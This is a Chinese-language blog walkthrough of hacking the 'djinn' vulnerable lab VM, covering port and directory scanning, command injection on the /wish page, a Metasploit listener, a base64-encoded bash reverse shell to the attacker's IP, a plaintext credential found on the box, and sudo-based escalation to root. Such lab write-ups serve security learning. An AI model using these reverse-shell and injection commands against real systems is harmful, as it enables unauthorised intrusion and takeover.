首页 > 技术文章 > djinn

zhaozhaomumu 2021-09-28 22:27 原文

靶机准备

将靶机ova文件导入虚拟机,并将网络设置为NAT
image
开机获得ip:192.168.164.188
image
kali:192.168.164.137

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.188

image
开放了4个端口,其中7331运行着http服务,访问
image
爆下目录

./dirsearch.py -u http://192.168.164.188:7331 -e* -w top.txt

image
扫到两个目录
浏览器访问http://192.168.164.188:7331/wish,
发现命令注入点
image
无思路,以下参考wp:
攻击机上设置个监听

msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.164.137
set lport 4444
exploit

image
准备反弹shell命令

bash -i >& /dev/tcp/192.168.164.137/4444 0>&1

转成base64编码,

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzcvNDQ0NCAwPiYxCg==

在页面输入框中提交

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzcvNDQ0NCAwPiYxCg== | base64 -d | bash

image
转成交互式shell,查看不是root权限

python -c 'import pty; pty.spawn("/bin/bash")'

image
在/home/nitish/.dev下发现用户名密码文件
image
nitish:p4ssw0rdStr3r0n9
切换nitish用户
image
发现sam用户可以执行/usr/bin/genie,得到sam用户的shell,发现可以用root用户执行/root/lago
image
切换root,选择2,猜数字,然后输入num,成功拿到权限
image

推荐阅读